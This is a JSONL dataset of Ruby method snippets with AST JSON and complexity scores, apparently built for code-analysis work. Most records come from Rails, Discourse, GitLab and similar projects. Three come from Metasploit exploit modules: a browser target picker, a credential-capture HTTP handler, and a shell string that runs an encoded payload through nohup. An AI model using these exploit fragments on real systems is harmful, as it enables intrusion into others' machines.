current_provider.fasp_backfill_requests.new(backfill_request_params)\n\n respond_to do |format|\n format.json do\n if backfill_request.save\n render json: { backfillRequest: { id: backfill_request.id } }, status: 201\n else\n head 422\n end\n end\n end\n end","complexity_score":17.25,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backfill_request\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_provider\"]},\"fasp_backfill_requests\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"backfill_request_params\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backfill_request\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backfillRequest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backfill_request\"]},\"id\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[201]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"int\",\"children\":[422]}]}]}]}]}]}]}","id":"be1ed9dd-cc92-4f07-8913-9da73f21c21d"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/sidebar/sidebar.rb","start_line":21,"raw_source":"def open_browse\n channels_section.find(\".sidebar-section-header-button\", visible: false).click\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"open_browse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channels_section\"]},\"find\",{\"type\":\"str\",\"children\":[\".sidebar-section-header-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"click\"]}]}","id":"769d6284-89fb-46b5-b859-6a7ccce30c14"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/arel/collectors/composite_test.rb","start_line":28,"raw_source":"def ast_with_binds(bvs)\n table = Table.new(:users)\n manager = Arel::SelectManager.new table\n manager.where(table[:age].eq(Nodes::BindParam.new(bvs.shift)))\n manager.where(table[:name].eq(Nodes::BindParam.new(bvs.shift)))\n manager.ast\n end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ast_with_binds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bvs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Table\"]},\"new\",{\"type\":\"sym\",\"children\":[\"users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"manager\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"SelectManager\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"age\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"BindParam\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bvs\"]},\"shift\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"BindParam\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bvs\"]},\"shift\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"ast\"]}]}]}","id":"8f9bd2df-acb1-4537-8bc4-be6b4c91951d"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":513,"raw_source":"def self.my_active_roles(force_reload = false)\n my_server(force_reload).active_role_names\n end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"my_active_roles\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"force_reload\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"my_server\",{\"type\":\"lvar\",\"children\":[\"force_reload\"]}]},\"active_role_names\"]}]}","id":"1a7e288a-ce88-4aab-8b70-f91c4aa6c526"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_callbacks_test.rb","start_line":581,"raw_source":"def test_after_commit_callbacks_with_optimistic_locking\n person = PersonWithCallbacks.create!(first_name: \"first name\")\n person.update!(first_name: \"another name\")\n person.destroy\n\n assert_equal [:commit_on_create, :commit_on_update, :commit_on_destroy], person.history\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_commit_callbacks_with_optimistic_locking\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonWithCallbacks\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"first name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"another name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_on_create\"]},{\"type\":\"sym\",\"children\":[\"commit_on_update\"]},{\"type\":\"sym\",\"children\":[\"commit_on_destroy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"history\"]}]}]}]}","id":"422b3936-ce9d-4c2c-ab27-9300b2fb51f6"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/object_linking.rb","start_line":95,"raw_source":"def link_to_query(query, options = {}, html_options = nil)\n text = h(query.name)\n url = project_work_packages_url([query.project.id], only_path: options.delete(:only_path) { true }, query_id: query.id)\n link_to(text, url, html_options)\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"project_work_packages_url\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"project\"]},\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"only_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]}]}]}","id":"d77d15d4-e41c-454b-9500-57db81ce038a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb","start_line":82,"raw_source":"def get_target(agent)\n # If the user is already specified by the user, we'll just use that\n return target if target.name != 'Automatic'\n\n if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6/\n return targets[1] # IE 6 on Windows XP SP3\n elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7/\n return targets[2] # IE 7 on Windows XP SP3\n else\n return nil\n end\n end","complexity_score":15.58,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 6\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 7\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"aa02e620-e163-4745-a351-32f8c744c8bf"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/app/app_generator.rb","start_line":257,"raw_source":"def system_test\n empty_directory_with_keep_file \"test/system\"\n\n template \"test/application_system_test_case.rb\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"system_test\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_directory_with_keep_file\",{\"type\":\"str\",\"children\":[\"test/system\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"test/application_system_test_case.rb\"]}]}]}]}","id":"26867cbb-74e9-491b-9583-4c027b71a504"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/http.rb","start_line":85,"raw_source":"def on_client_data(cli)\n begin\n data = cli.get_once(-1, 5)\n raise ::Errno::ECONNABORTED if !data || data.empty?\n\n case cli.request.parse(data)\n when Rex::Proto::Http::Packet::ParseCode::Completed\n dispatch_request(cli, cli.request)\n cli.reset_cli\n when Rex::Proto::Http::Packet::ParseCode::Error\n close_client(cli)\n end\n rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET => e\n vprint_error(e.message)\n rescue ::OpenSSL::SSL::SSLError => e\n vprint_error(e.message)\n rescue StandardError\n print_error(\"Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}\")\n end\n\n close_client(cli)\n end","complexity_score":33.95,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNABORTED\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"request\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"Packet\"]},\"ParseCode\"]},\"Completed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dispatch_request\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"reset_cli\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"Packet\"]},\"ParseCode\"]},\"Error\"]},{\"type\":\"send\",\"children\":[null,\"close_client\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EACCES\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNABORTED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNRESET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenSSL\"]},\"SSL\"]},\"SSLError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]},\"backtrace\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"close_client\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"54523a8e-3a4d-4069-b463-9577ad57da06"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":422,"raw_source":"def within_element_by_index(name, index, &block)\n page.within(all_elements(name, minimum: index + 1)[index], &block)\n end","complexity_score":8.05,"ast_json":"{\"type\":\"def\",\"children\":[\"within_element_by_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_elements\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"fa50db10-d3cd-4b44-8c3c-f277734e2be6"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/capabilities.rb","start_line":85,"raw_source":"def supports_caching?(model_id)\n if model_id.match?(/flash-lite|gemini-2\\.5-pro-exp-03-25|aqa|imagen|text-embedding|embedding-001/)\n return false\n end\n\n model_id.match?(/gemini|pro|flash/)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"supports_caching?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"flash-lite|gemini-2\\\\.5-pro-exp-03-25|aqa|imagen|text-embedding|embedding-001\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini|pro|flash\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"34c8c345-2fb2-4426-a2fc-1bc509a43308"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/require_library.rb","start_line":24,"raw_source":"def remove_subsequent_requires(corrector, node, library_name)\n node.right_siblings.each do |sibling|\n next unless require_library_name?(sibling, library_name)\n\n range = range_by_whole_lines(sibling.source_range, include_final_newline: true)\n corrector.remove(range)\n end\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_subsequent_requires\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"library_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"right_siblings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sibling\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_library_name?\",{\"type\":\"lvar\",\"children\":[\"sibling\"]},{\"type\":\"lvar\",\"children\":[\"library_name\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_by_whole_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"source_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_final_newline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}","id":"d4f1dd3b-41c2-4fe8-9815-fe2b00dfd311"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":156,"raw_source":"def delete_cookie\n cookies.delete(\"foo\")\n render plain: \"ok\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"delete\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"ok\"]}]}]}]}]}]}","id":"f614faf3-9f90-4fa2-870c-4ae3aa1126cc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/analytics_instrumentation.rb","start_line":291,"raw_source":"def has_approved_label?\n helper.mr_labels.include?(APPROVED_LABEL)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_approved_label?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"mr_labels\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"APPROVED_LABEL\"]}]}]}","id":"006875b0-306d-4da6-a6ba-976c2d6616ca"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/inclusion.rb","start_line":42,"raw_source":"def validates_inclusion_of(*attr_names)\n validates_with InclusionValidator, _merge_attributes(attr_names)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validates_inclusion_of\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attr_names\"]}]},{\"type\":\"send\",\"children\":[null,\"validates_with\",{\"type\":\"const\",\"children\":[null,\"InclusionValidator\"]},{\"type\":\"send\",\"children\":[null,\"_merge_attributes\",{\"type\":\"lvar\",\"children\":[\"attr_names\"]}]}]}]}","id":"171677ca-f12b-4b06-8854-639c1f6a13ab"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/multipart_params_parsing_test.rb","start_line":205,"raw_source":"def with_test_routing\n with_routing do |set|\n set.draw do\n ActionDispatch.deprecator.silence do\n post \":action\", controller: \"multipart_params_parsing_test/test\"\n end\n end\n yield\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"with_test_routing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"str\",\"children\":[\":action\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"multipart_params_parsing_test/test\"]}]}]}]}]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"4ba41e35-7386-40cf-bced-a3e567faa95d"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/sidebar.rb","start_line":7,"raw_source":"def open_on_mobile\n click_button(\"toggle-hamburger-menu\")\n wait_for_animation(find(\"div.menu-panel\"))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_on_mobile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"toggle-hamburger-menu\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_animation\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"div.menu-panel\"]}]}]}]}]}","id":"70d642ba-6d9a-45a7-b874-12f2269a7b16"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/attachment.rb","start_line":164,"raw_source":"def is_pdf?\n content_type == \"application/pdf\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_pdf?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"application/pdf\"]}]}]}","id":"7b574a68-3bdc-4396-b19f-d4f7cf35e01e"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/world.rb","start_line":226,"raw_source":"def announce_exclusion_filter(announcements)\n return if exclusion_filter.empty?\n\n announcements << \"exclude #{exclusion_filter.description}\"\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"announce_exclusion_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"announcements\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclusion_filter\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"announcements\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exclude \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclusion_filter\"]},\"description\"]}]}]}]}]}]}","id":"c158709a-3227-4e9f-982b-a4828a233ab0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb","start_line":89,"raw_source":"def sh\n 'killall \"Script Editor\"; nohup ' + payload.encoded\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sh\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"killall \\\"Script Editor\\\"; nohup \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}","id":"ca182e51-699d-4277-a05f-31c0d7bdc7b5"} 